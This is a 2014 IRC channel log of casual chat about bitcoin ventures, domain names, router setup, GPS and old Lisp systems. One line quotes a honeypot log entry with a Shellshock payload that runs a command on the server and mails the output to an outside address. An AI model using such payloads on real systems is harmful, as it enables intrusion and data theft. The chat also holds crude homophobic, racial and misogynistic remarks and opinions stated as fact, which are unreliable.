mircea_popescu: "What armor is there against thought? How do you dodge a wavelength?" << meh. why ruin it ? wavelength is not thought, and moreover easily armored against.
mircea_popescu: "Any alteration from the typical human brain wave pattern of the occupants of a Detector-equipped ship would boost the indicator around the dial. Even a bad dream or a case of indigestion would jar it." || "The unmoving dials." jesus pick one.
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mircea_popescu: actually it's a little jewel, just a bit of cruft here and there.
mircea_popescu: which is a superlative idiomatic i've just created for the occasion.
mircea_popescu: i wonder how long before the standard moves from "potable water" to "pristine water"
ben_vulpes: in this town we flush whole reservoirs when someone pees in them
peterl: I still drink out of the hose with my kids if outside.
cazalla: JuliaTourianski, do you use one of AJ's water filters?
JuliaTourianski: don;t you worry boys, xenoestrogen & phytoestrogen will get you
thestringpuller: JuliaTourianski: i bet the dude rocks out to katy perry in the shower. << If you're talking about Drake, I think this is confirmed...
BingoBoingo: JuliaTourianski: don;t you worry boys, xenoestrogen & phytoestrogen will get you << You know one of the steps involved in maturing sperm cells in the testicals involves... converting testosterone to estrogen!
JuliaTourianski: and when your body is overrun by fake estrogens, it hinders its ability to do so
cazalla: JuliaTourianski, you mean a popper?
JuliaTourianski: OMG where are all the homos of btc? bitcoin is homophobic. must write article for tumblr
peterl: thought I read that from him somewhere?
peterl: I don't know him personally
peterl: it was sort of inferred, guy talking about his husband ...?
mircea_popescu: <peterl> isn't Rassah gay? <<< i don't think as much gay as a furry creature.
BingoBoingo: mircea_popescu: Well... Testicles was a great warrior in the Classical period...
peterl: they had gay back then?
peterl: women not invented yet?
mircea_popescu: so cheezy from all the neglect you could scarcely tell the difference.
mircea_popescu: sapho lived off of herding greek gals and selling the diary.
mircea_popescu: stop playing with your food young man and eat your vaggies.
JuliaTourianski: i used to make cheese at home all the time. what happened to me?
peterl: I made mead at home once
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mircea_popescu: i got the space, just, some derpy kid's idea of ai will prolly be to try and "loic" it
mats_cd03: pricing of the nonlinear junction detector looks quite high. is there a miser's version somewhere? made in a sweatshop perhaps?
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mats_cd03: i should do a bet about green attacks before end of the year
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mats_cd03: some days i think about whether someone will end up glassing mecca
assbot: The Hour Of Reckoning pe Trilema - Un blog de Mircea Popescu.
kakobrekla: i have set up rtorrent on some boxen with pipe
mats_cd03: are we on the same page? nuclear detonation.
mircea_popescu: glassing is the wholesale production of borosilicate glass out of the landscape as the side effect of a runaway nuclear reaction.
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decimation: re: nonlinear junction detector << like an ohm meter?
decimation: trival V-I curve at DC is easily detected
decimation: if the signal passes through a channel that is not linear-time-invariant, one will see intermodulation products arise
thestringpuller: i think i learn more in this channel than i ever did in school
decimation: subtle nonlinearities in radio systems are regularly measured with the 'two-tone test'
thestringpuller: mircea_popescu: glassing is the wholesale production of borosilicate glass out of the landscape as the side effect of a runaway nuclear reaction. << this is a great definition
decimation: wow ascii I'm getting 8 mbit/sec, that's serious
decimation: ascii do you 'pack-rat' information on the internet? I find I am caching more and more these days
decimation: yeah but it's handy to 'grep' for poorly-remembered stuff
mircea_popescu: thestringpuller> i think i learn more in this channel than i ever did in school << im sure most do.
decimation: asciilifeform: I was thinking about your piston pump today - how do you craft it with all the 'hidden' holes? In two halves? Casting?
decimation: I mean the chambers must be carved from the inside
decimation: ah so you are making tubes that screw together, not 'negative space' in the block like your link illustrated
decimation: heh I guess it makes sense. elsewhere in the link, there are pictures of the ceramic 'screw pumps' that are supposedly of higher quality
decimation: I was thinking one could cast with a mold, but a home-made version of those would probably not be sufficiently precisely machined
decimation: you think they are cut from ceramic blank?
decimation: cf3a34181d3dff597f1d3fbd7f5678d65263720dbe6ce14dc814ff714d729015 lenat-leaks.tar.gz
mats_cd03: run through ocr for the rest of us, eh?
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decimation: ascii hopefully we can share the hard-ai-god's gasenwagen
nubbins`: can anyone point me to a simple shell script that generates private keys from secret exponents?
decimation: like 'drink the kool-aid' type or the 'bomb the city' type?
decimation: heh when turned into pdf, tripled in size
decimation: yeah :( too bad the warez only ocr pdf
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decimation: anything with 'ada' is a 'dtic' research report
decimation: sometimes they are scanned, sometimes not :)
decimation: and I think you are right, they are too shitty to ocr for the most part
decimation: indeed, 'markov chain in the brain' is quite powerful at correcting errors
decimation: one wonders how many other useful reports lie mouldering in some gov't bin, unscanned
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decimation: usg asks so many questions, doesn't understand the answers...
decimation: the '3d vlsi design' part is interesting
decimation: seems like if the stuff were useful, he would have out googled google before google googled.
decimation: right, of the time, but he had the access to the same computers google did
decimation: it is interesting how this eurisko thing, the really useful symbolics stuff, early MIT lisp stuff -- much of it has simply disappeared
decimation: one would think that someone would have made a few backups, but then again shit happens I guess
decimation: also apple had a lisp machine later on right
decimation: No I'm thinking of maclisp, which is unrelated to apple I guess
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cazalla: "An in-house, web based, exchange seamlessly converts Bitcoin (BTC) to Breakout Coin (BRO) with a cold storage solution to protect the currency, avoiding the opportunity for hackers to enter the servers. Breakout Gaming’s site will feature 88 different casino games including the popular Texas Hold ‘Em, Open Face Chinese Poker, in addition to a custom built Fantasy Sports betting platform. " more shit coins for your bitcoin
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mircea_popescu: obviously paid piece, how else would a journalist know what "will" happen
mircea_popescu: this is the equivalent of the "if newspiece title ask a question, the response is no".
cazalla: maybe they'll peg their altcoin to usd so that even if you win, you lose bitcoins
cazalla: it's like super rake for poker
decimation: implication of peg to usd: they have some usd to trade
ben_vulpes: <decimation> gov't pays for such 'research', most of which is pointless:
http://www.sbir.gov/ << people say: "do this!" and I say "what innovation? we duct tape thinger a to tab b and make clients happy." they do not understand, and i cannot enlighten them without calling into question that which they value themselves upon.
decimation: ah I see. apparently symbolics later marketed a card to install in apple stuff though
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mircea_popescu: <decimation> in other news, slightly less than everybody is going to university in the us these days: << bwahahaha
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assbot: [HAVELOCK] [HASH] 629 @ 0.0014 = 0.8806 BTC [-]
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pete_dushenski: you've got derpy media writing a derpy article about a derpy politician with the absolute derpiest of ads.
kuzetsa: CVE-2014-3631, CVE-2014-6271, and CVE-2014-7169 patched, full system-wide stack smashing protection (via GCC 4.9.1 -- had to recompile every last binary package with the new GCC with the appropriate flags enabled) and a few other nice things done... yay!
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xmj: kuzetsa: did you secure your systems against the vuln in nss too?
kuzetsa: xmj: that vulnerability is not present on my system
kuzetsa: I haven't got anything using RSA in production at this time
kuzetsa: well... I mean my GPG key for authing with gribble is an RSA key but other than that
kuzetsa: and that isn't on the server, that's on my laptop
xmj: kuzetsa: that's one way to secure your systems, "yes" would've sufficed
xmj: kuzetsa: hopefully your RSA key uses OpenSSH
kuzetsa: xmj: my PGP (GPG) key was generated using openssh, yeah
xmj: i did mean 'openssh' instead of 'nss
kuzetsa: I meant openssl not openssh
xmj: hum how does one create pgp keys with openSSL ?
kuzetsa: and then when you select RSA it's done via openssl
xmj: didn't know that one, thanks!
kuzetsa: I just audited and apparently I made an assumption which is not true
kuzetsa: gnupg uses libgcrypt for the RSA key generation :(
xmj: kuzetsa: even openssL would be Bad.
kuzetsa: what's wrong with using openssl to generate RSA keys?
xmj: libressL or openssH? good. openssL? bad.
kuzetsa: xmj: what did yoyu just try to link me anyway?
kuzetsa: it's got obfuscated redirectors and suspicious javascript in it
xmj: silly hackers not buying .com .net and .org at once, i wanted .org
kuzetsa: so it was a domain squatter using the .com when the actual site is on .org... interesting
kuzetsa: I'm glad I didn't have a system policy which let that suspicious code run
kuzetsa: default allow for javascript is such failsauce
kuzetsa makes a funny face emoji thiner IRL :/
kuzetsa: opensslrampage appears to be someone's blog who posts nothing but links to random-ass commits to the libressl repo
kuzetsa: it actually looks so shitty I think it might even be an automated thing done by a rather unimaginatve bot
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Naphex: lol [26/Sep/2014:00:18:37 +0300] "GET / HTTP/1.1" 200 27100 "() { :; }; uname -a | mail -s 6775 ufquy@grandmamail.com" "curl/7.37.1" "-" script kiddies be leveling up:)
Naphex: for all that panic with bash not too many exploits hitting
Naphex: got like 10 hits, on 5 random honeypots
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assbot: [HAVELOCK] [PETA] [PAID] 2.64497240 BTC to 1`149`988 shares, 230 satoshi per share
punkman: "It’s an impressive bit of work, especially in the RNG department." "This part of the build isn’t quite working yet"
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punkman: asciilifeform: I'm looking for something like the Inform7 beast but with more Lisp. Where does one look for Lisp libraries and such?
assbot: [MPEX] [S.MPOE] 36440 @ 0.00075178 = 27.3949 BTC [-] {3}
assbot: Researcher shows that black holes do not exist
assbot: Logged on 26-09-2014 03:11:57; asciilifeform: there are two versions of the lenat story
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mircea_popescu: im famous among a group of [girl]friends for this one trip I took one of them for at some point, that was never documented or repeated.
mircea_popescu: nothing wrong with that, people allowed their own intimacy.
mircea_popescu: course, it takes extra strength adolescent retardation to imagine it makes any sort of "science"
mircea_popescu: but then again, the same sort of adolescent retardation is at work everywhere - what english speaker could hold his job if the artificial barriers were removed ?
mircea_popescu: who, of the singers are actually singers ? what businessman knows business ? etc.
mircea_popescu: the russian career criminals reportedly find the us, in spite of having the world's largest incarcerated population, doesn't even have good prisoners.
mircea_popescu: course if you ask them, or if you watch their movies, they're total fucking experts.
ben_vulpes: the mind boggles at the thing mircea_popescu finds difficult to explain, in any language.
mircea_popescu: which sort-of reads like dop in romanian, which is a funny little word, meaning cork.
assbot: Logged on 12-09-2014 00:06:32; asciilifeform: mircea_popescu: 'Rinduieli' ~= (arabic) 'adat' ?
mircea_popescu: asciilifeform it's deeper. they lack both the mind structures that make it necessary and possible, as well as the capacity of observation and reason that make the process unavoidable.
xanthyos: in a privatized prison system, a "good prisoner" is one who consumes the least amount of food
mircea_popescu: asciilifeform im not sure of the homo sapiens relation. the women are made of flesh, so in that sense it passes, but i have little clue what the males are made of.
myriadgetsmehard: i am john. i are engineer. i also came to maybe discuss some bitcoin assets of mine
gribble: Nick 'myriadgetsmehard', with hostmask 'myriadgetsmehard!~bonerKILL@68-190-212-206.dhcp.gldl.ca.charter.com', is not identified.
ben_vulpes: who would you auth as, myriadgetsmehard ?
assbot: The Bitcoin Luxury Marketplace
ben_vulpes: what does listing your btc domains mean?
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ben_vulpes: "BitPremier currently lists only the following: real estate, autos (listed at $50k USD or more), jewelry and watches (listed at $5k USD or more), home goods and travel (listed at $5k USD or more), handbags and accessories (listed at $5K USD or more)"
Duffer1: i thought bitpremier was a website for things that had value
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ben_vulpes: asciilifeform: "luxury" anything -> spam ?
mircea_popescu: myriadgetsmehard i doubt they think even those are valuable. i definitely would think much less of any marketplace that purports to sell 2nd market domain names.
myriadgetsmehard: i beg to differ. i think all these new TLDs have value. So I am asking for $500k for
http://btc.events and a few others. BitPremier takes 5% but I'll offer the room 20% to any who can get one sold
assbot: btc.events is almost here!
myriadgetsmehard: It's not up to them to decide what is a premium domain or not. I say it's up to the whole free market, which they won't let me be a part of, it's also not really free
myriadgetsmehard: maybe i needa setup a gpg contract to get these sold for a commission.
ben_vulpes: myriadgetsmehard: put 'em in the OTC order book.
myriadgetsmehard: laugh if you want. i'm offering $100k in BTC to whoever can sell it. wil do ben_vulpes
ben_vulpes: that's the only free market with which you need concern yourself.
ben_vulpes: to return to the previous topic of conversation: the incompetence of the prisoners implies incompetence of ratcatchers, non?
mircea_popescu: <myriadgetsmehard> It's not up to them to decide what is a premium domain or not. << because why, because it's up to you ?
ben_vulpes: although i imagine the hardened russian finds the US street gang similarly incompetent.
mircea_popescu: "i'm offering 100k in any currency to the salesman that sells this rock i found in the street for 500k"
mircea_popescu: tyvm and stfu, you're offering 500k to the guy who does that, plus a little fee for allowing your pointless existence to be associated with his.
mircea_popescu: if you were a hunter and moved to a difference cannuckistan, and all the moose you shot was the size of a chicken
mircea_popescu: you would NOT suspect it's your bullets that are the problem
ben_vulpes: i think it means he can stroke it to anything
mircea_popescu: myriadgetsmehard "random rock i found in street" != koh-i-noor
mircea_popescu: youi're doing this substitutive thinking thing wrong, it's amply discussed in the logs.
ben_vulpes: mircea_popescu: but the bullets are materially different. lathed shit, perhaps.
ben_vulpes: myriadgetsmehard: what is this, 90's domain bubble again?
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myriadgetsmehard: new gTLDs are the shit man. too many new domains (.com seekers) are shit imo
chetty: sadly enough some vc funded tard might it, don{t mean it will actually make money/have value
ben_vulpes: <myriadgetsmehard> new gTLDs are shit << ftfy
myriadgetsmehard: ben you are acting like the dinosaurs i get enough shit from man :)
ben_vulpes: order book is over there. place orders and quit derping.
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mats_cd03: 13:00:59 <+myriadgetsmehard> i beg to differ. i think all these new TLDs have value. So I am asking for $500k for
http://btc.events and a few others. BitPremier takes 5% but I'll offer the room 20% to any who can get one sold
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mats_cd03: 13:01:49 <+myriadgetsmehard> It's not up to them to decide what is a premium domain or not. I say it's up to the whole free market, which they won't let me be a part of, it's also not really free
punkman: yeah not like he's giving them piles of cash
mats_cd03: some dummies with the 'oh its been goin on for a while now, nbd' ...
xmj: as soon as people start saying This Time Is Different
xmj: and start rationalizing/hamstering WHY
mats_cd03: and then there's this, "I do agree valuations are artificially inflated, but before you start drawing parallels to 1999 and every financial bubble of years past remember there are companies with real revenue streams. Sure, there are the snapchat valuations which have no basis, but do uber, airbnb, dropbox, and the like not deserve billion dollar valuations?"
xmj: then its gonna be daaaaaaangerous not to be in a cashflow positive business
xmj: asciilifeform: hamstering as in rationalization hamster that runs in his wheel
xmj: ben_vulpes: go explain asciilifeform about that one please
mats_cd03: "hamstering" is not something that has evar been a thing
punkman: what is a rationalization hamster?
mats_cd03: you can't go and just coin your own things, man!
xmj: dont remember who coined it
xmj: asciilifeform: just 'cuz i'm german.
kakobrekla: mats_cd03 at this point you can coin your own coin.
mats_cd03: anyway -- 'uber, airbnb' being companies that deserve bn USD valuations... apparently middle-men with no moats are incredibly valuable nao
ben_vulpes: i can see that backfiring, asciilifeform
ben_vulpes: what about the guy who's into that sort of wriggling around?
xmj: the idea of having a rat tunnel through on the rear end.. sounds BAD.
kakobrekla: theres another story where they just put the rat on your belly and cover it so it cant escape. what happens is an exercise to the alert reader.
mats_cd03: is that soviet in origin asciilifeform? i noticed the idea first, in cult phenomenon Game of Thrones
mircea_popescu: <mats_cd03> but do uber, airbnb, dropbox, and the like not deserve billion dollar valuations?" <<< i agree that other people's shit stinks but isn't my doodoo all perfumed ?!
ben_vulpes: this consulting short isn't really that great of a short actually
mircea_popescu: <punkman> what is a rationalization hamster? << supposedly what women do when they've been rejected by a magical boy of magic, they go in a corner and worry and obsessively rethink the experience.
mircea_popescu: this is fundamentally different from what the boy in question does, on forums and while commuting.
mircea_popescu: the whole charade's a sort of "fine when we do it, evil/bad/wrong when they do it" thing.
mircea_popescu: and i mean both for VCs and for PUAs, and come to think about it the difference is negligible.
ben_vulpes: sure, it guarantees cash in pocket instead of worthless paper when the music stops, but all i'm left with when the music stops is a company that makes software in competition with all the other shartup engineers.
ben_vulpes: <mircea_popescu> this is fundamentally different from what the boy in question does, on forums and while commuting. << pah yup
mircea_popescu: the difference between the shorts we want our shorts to be and the shorts our shorts actually are is the one thing that sinks businesses.
ben_vulpes: the only leg i can see hedging are btc holdings
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mircea_popescu: i suppose every single entity in online finance, from paypal to icbc will now come and leave a comment on trilema saying "sorry, we're fucking stupid, you're right"
mircea_popescu: not like they'll cary on derping about "ux" and how their shit is worth not just money, but billions of it.
assbot: Logged on 08-12-2013 16:40:53; mircea_popescu: and the same princuople goes to the "devteam" retards implememnting pki
mircea_popescu: i seriously expect the entire world to now bow down to my superiority and explicitly recognise its inferiority, as a wholy owned, substantive characteristic of their own.
mircea_popescu: none of this "but mp, you never gave any proof". there's your motherfuc king proof now stfu and shine my boots.
☟︎ mircea_popescu: asciilifeform this whole fiasco reminds me of naggum's discussion of the y2k thing.
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mircea_popescu: the one thing all those idiots will never say is exactly the only thing they should be saying at all : this other guy didn't do it, he is our king, our lord, our sovereign, and so much better than we may even aspire to one day be.
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mats_cd03: its social good through financial freedom, man.
ben_vulpes: financial freedom is the only social good
mats_cd03: i thought the eulogy was beautifully written
mircea_popescu: like a horrible war zone between ignorant users and frightened managers << the exact fucking problem.
mats_cd03: if not terrible. almost as though she read "Speaker of the Dead", and thought, "ill do that, but better."
mircea_popescu: a frightened manager is about as useful as a punctured set of wellington boots.
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mats_cd03: i wonder how easy it is to fence diamonds
mats_cd03: i suspect it is not really that valuable
mats_cd03: "The bitcoin community doesn't necessarily endorse U.S. foreign policy, and the bitcoin community doesn't necessarily endorse everything the U.S. intelligence community does." But, he said, "things that are morally wrong, bitcoin rejects." ...
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mircea_popescu: pete_dushenski: how does that much lulz fit in one little screen cap?<< guy kinda looks like a walrus
mircea_popescu: kuzetsa: I just audited and apparently I made an assumption which is not true << ahem.
mircea_popescu: Naphex: for all that panic with bash not too many exploits hitting << the good stuff happebed prior to the release.
mircea_popescu: i can almost imagine some guy in say 2035 having to interact with that.
mircea_popescu: asciilifeform the fact that the eu even considered that demand, and i don't mean answer to it, but even considered it
mircea_popescu: puts the whole pretense of representativity into question.
assbot: Logged on 09-07-2014 00:50:59; asciilifeform: '…we need a word that describes the artifacts generated in response to irrational actors who demand to be fooled. As the old saying goes, “A fool and his money are soon parted” – at the fool’s own insistence, no less! If the deer comes out of the forest and walks up to the hunter, it is not proper hunting, and this is not proper con artistry or grift or embezzlement or any other term we use to describ
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mircea_popescu: "can i wear my pretenses with this five dollar suit ?" "no" "wow what an EXPENSIVE suit!11"
mircea_popescu: that analogy would hold if a) no aids could infect trhe brain ever and b) all human parts were detachable, and cost less than a pill in a us hospital.
mircea_popescu: 500 bucks buys you six different pairs of legs and arms
mircea_popescu: no, you just don't want to apply management to the philosophical problem.
mircea_popescu: suppose you have an infinite supply of liars. can you construct an oracle out of this ?
mircea_popescu: suppose there's at least three different types, and you can identify them.
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chetty: the line of nutsos is getting long
mircea_popescu: so today i learned someone came up with the following idea : take n2o4, heat. it dissociates into 2no2. put through turbine, extract work. as it cools and loses pressure n2o4 reforms. compress, cycle.
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chetty: this beheading thing is about at meme status
mircea_popescu: asciilifeform btw what did you think of the hour of battle rewrite ?
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mircea_popescu: why's this gutwrench[ing] construction become such a staple of chicklit anyway ?
mircea_popescu: the likeliness of someone having actually witnessed a savaging is pretty much inversely proprotional to the count of "gutwrenching" they used over their lifetime.
mats_cd03: perhaps because females are intimately familiar with the particular sensation of gut wrenching?
mats_cd03: these fucking tumblr things are why personnel advocate for the draft
mats_cd03: as misguided as that is, there's something to be said for shared sacrifice
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mircea_popescu: mats_cd03 there's definitely value in educating teenagers.
chetty thinks most women only have a vague idea of where gut is
bounce: what? it's where all the feels are. obviously.
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mats_cd03: thestringpuller: i have an important question for you.
mats_cd03: are you like me, and your inner monologue is performed by a black man?
mats_cd03: i get this impression from you. perhaps i'm projecting.
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thestringpuller: well i am a black man. i was just surrounded by white people all my life.
thestringpuller: so my inner black man is very repressed. like in the chappelle's "When keeping it real goes wrong"
mats_cd03: i am yellow, so i guess i'm like a meat pie
bounce: pink on the inside, yellow on the outside, and a blackened soul?
mircea_popescu: "At the Munich Satellite Navigation Summit on 10 March 2010, a Chinese government official asked the European Commission why it no longer wanted to work with China, and when China's cash investment in Galileo would be returned."
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mircea_popescu: pity it doesn't also mention how bush and his lackey blair lied about imagined "weapons" that they themselves did have, but iraq did not have.
mircea_popescu: all this mess stemming from the intellectually bankrupt ideology that there is such a thing as "progress" which somehow is made out of "change".
mircea_popescu: when mingled with the nonsensical misrepresentation of democracy as a representative process, the resulting hypergolic explosion scatters headless chickens over a large surface, which headless chickens then proceed to "do something" because they "have to do something"
assbot: Tax bureau gets Swiss bank accounts data - BuenosAiresHerald.com
mircea_popescu: "The head of the AFIP tax bureau Ricardo Echegaray received yesterday an encrypted CD from the French government containing information on 3,900 undeclared bank accounts of Argentine origin in the Swiss branch of HSBC. The original source of information is whistleblower Hervé Falciani, who worked as an IT engineer at the bank for seven years before deciding to leak what he saw as systemic tax evasion."
mircea_popescu: "“We will analyze the information on a case-by-case basis, and cross-reference this database with the taxpayers that have declared accounts on Switzerland’s HSBC,” Echegaray explained afterwards when meeting the press at the Argentine Embassy in France." << how about "we can't use stolen data".
ben_vulpes: and yet being "unbanked" is a bad thing to the libtard
mircea_popescu: "According to Clarín’s supplement iEco, it was Falciani who originally contacted the Argentine authorities to talk about the list, but there was a legal obstacle to circumvent before the information could be used by AFIP: if the list was given straight to Echegaray outside official state channels, its validity would not have stood in front of a court of law.
mircea_popescu: The fact that the information was today released by the French state to Echegaray under the legal umbrella of a bilateral agreement between both countries’ tax authorities on so-called double taxation put those doubts to rest."
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mircea_popescu: “Butterfly Labs is disappointed in the heavy-handed actions of the Federal Trade Commission. In a rush to judgment, the FTC has acted as judge, jury and executioner, contrary to our intended system of governmental checks and balances. "
mircea_popescu: “It appears the FTC has decided to go to war on bitcoin overall and is starting with Butterfly Labs. Butterfly Labs is being portrayed by the FTC as a bogus and fake company."
mircea_popescu: scammer won't change his tune even if his tune is pre-published years earlier. because.. why would he.
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BingoBoingo: assbot> Tax bureau gets Swiss bank accounts data - BuenosAiresHerald.com << Much bigger news for BTC than PayPal trying to get its dick wet
mircea_popescu: soo, trying to daisychain nat routers. the 2nd one i configured to use as static ip 192.168.0.102 which is what the upstream one would have allocated it, and then 192.168.0.1 as gateway
mircea_popescu: the router connects fine, as proven by knowing what time it is. computers connecting to it see its network, but fail to connect to the interwebs
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BingoBoingo: Is it an issue with the firewall/packet-filter?
assbot: MolokoDesk +v failed; L1: 0, L2: 0
dub: you went long on NAT.ROUTERS
dub: the meme that keeps on giving
mircea_popescu: so can the innermost lan think the router is 192:168:0:1 while the router thinks the other router is 192:168:0:1 ?
dignork: never tried it, but net 1 - 192.168.0.x, net 2 - 192.168.1.x should work if both use 255.255.255.0 mask
mircea_popescu: so logically, the outside router is 192.168.0.1, and the inside router 192.168.0.102 in its system. however the public ip address of the inside router is 192.168 >> 1 <<< . 1
dub: lets see about 'everything'
mircea_popescu: dub i know enough to do port forwarding for things that iwant to work,
mircea_popescu: moreover i don't use so many dumb things that have annoying needs.
dub: <mircea_popescu> hey, being a network engineer is kinda fun.
dub: get back to me when you've stood in a cold noisy DC on a con call to mumbai for 15 hours
dignork: dub: do you know of any sane alternative to wireshark? because working with <1G pcaps and re-reading the whole stupid file each time I change view filter hurts my sense of beauty
dignork: asciilifeform: it still works on unindexed raw file...
dub: ngrep et al are good for refining your set
dignork: they do have something commercial, but I did not look too close
MolokoDesk: regarding the deedBot project: it's demonstratable now.
dignork: asciilifeform: on wireshark site they promoted some wunder-вафля which can work with large datasets, but it's not there anymore
MolokoDesk: and useable if you want to tolerate it's in-channel announcements. I'll make it terse by commenting most of those out. at that point it's ready to use.
RagnarDanneskjol: mircea_popescu - pls ping MolokoDesk when you want to go over deed module
MolokoDesk: the verbose messages are probably useful for the demo to discuss to any level of detail what it does and how it does it.
dub: wiresharks problem is being single thread iirc
BingoBoingo: Multithreading is just a workaround for the real problem
dignork: dub: it's IO bound mostly, so I'd vote for indexes :)
dub: dudes at old shop bought a wizbang 24 core/80?gigglebits machine for the purpose,then watched it humming along on 1 core
BingoBoingo is sad more people aren't building chips "Up" and making freon check a part of computer maintenance in more scenarios. Manhattan, New York instead of Manhattan, Kansas...
BingoBoingo: Ah, I'm imaging the heat exchange goes outdoors. Like in airconditioning.
dub: know a dude that built one out of an old fridge
dub: never saw active duty for reason stated
BingoBoingo: But if the cold end never dips below room temperature...
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BingoBoingo is imagining single core producing lots of heat...
dub: ercall this guy saying it was -36C on teh end oslt
BingoBoingo: dub: Then his chip is severely underclocked for this solution
BingoBoingo: asciilifeform: A napkin, "Netburst" pentium 4 stats and imagining scaling from there straight up on the clock...
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BingoBoingo: asciilifeform: That might be on the next napkin. atm I'm kind of leaning towards the memory not of die using some heat to prevent condensation.
BingoBoingo: Bottleneck sure. Kind of like a disk drive in comparison. If a process and its handlers can't fit in 16 MB of on chip cache though this is a wrong solution for the task.
BingoBoingo: asciilifeform: actually now my brain is encountering locking errors on finding a use case for garage sized single core monster machine.
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BingoBoingo: Ah, more productive. I was almost going to have to posit a "spiritual" sort of use case. Machine that does i++ as fast as possible, not as useful machine but as useful monument.
BingoBoingo: Well, I dun see how such a machine would be useful as a networked device
decimation: time dilation is accounted for in any reasonable gps receiver
decimation: yeah I would believe. Also GPS is one of the few that chose a rational timebase, no leap seconds
BingoBoingo: This is true. GPS in the 90's was rather useless for pinpoint one's location in a city. Can now tell which building's entrance you are pondering.
BingoBoingo: I might need to read more, but I though the whole selective availability thing was a bluff.
decimation: selective availability definitely existed
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dub: not same signal with a keyed delay?
BingoBoingo: asciilifeform: Well yeah, that second is what I mean. I dunno that the private was especially useful until the satellites accounted for relativity as they intuited time onto the manifold.
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dub: anyway isnt BingoBoingo conflating gps with goog/appl location service?
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dub: gps still sucks without good sky
BingoBoingo: dub> anyway isnt BingoBoingo conflating gps with goog/appl location service? << Not really. Dun have those standards to work with.
BingoBoingo: Ah, this particular municipality I'm in atm has a problem of erosion wound manholes threatening to collapse street, leaving the structures supporting manholes as tire slaughtering juggernauts.
MolokoDesk: that's interesting. (.join function for deedBot)
deedBot: time=1411774314 LAST_BUNDLE_TIME=1411774109 elapsed=205
deedBot: TRACKING: BUNDLE_PENDING-15DJH8JTCPpNhTFAFRyvLNNs4zVStB8UH2.txt = (address = 15DJH8JTCPpNhTFAFRyvLNNs4zVStB8UH2) (mtime = 1411774101) (ctime = 1411774109)
deedBot: DEEDBOT_CHAN=#cex-squawk ERROR_CHAN=MolokoDesk USING_API=bkchain.org scraping/API INTERVAL=3600
deedBot: (switching DEEDBOT_CHAN from #cex-squawk to #bitcoin-assets)
MolokoDesk: i would but I'm not sure I want to put my password in the code.
MolokoDesk: freenode assigns the same password to every nick I register. they're all me. It's some anti-sockpuppet feature. There may be work around. I haven't looked into it deeply
dub: uh, use a different email address?
MolokoDesk: registering it then dumping the registration would work, but not with WoT
bounce: think you'd have to reg the bot separately anyhow. ask in #freenode?
dub: but its MY email address!
BingoBoingo: (last email address not known to go to a mailbox)
MolokoDesk: I may simply make the deedBot register itself.
MolokoDesk: back in a while. shuffling logins and uninstalling/reinstalling deedBot. I'll spare you further details.
BingoBoingo: So... MacIvory is kind of the first thing I've seen that makes the Mac II seem interesting
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BingoBoingo: asciilifeform: Why must you temp me with interesting hardware at a time when I'm trying to condense necessary harware to fit onto Backpack
BingoBoingo is still surprised no one has bitten on the book I've listed in the orderbook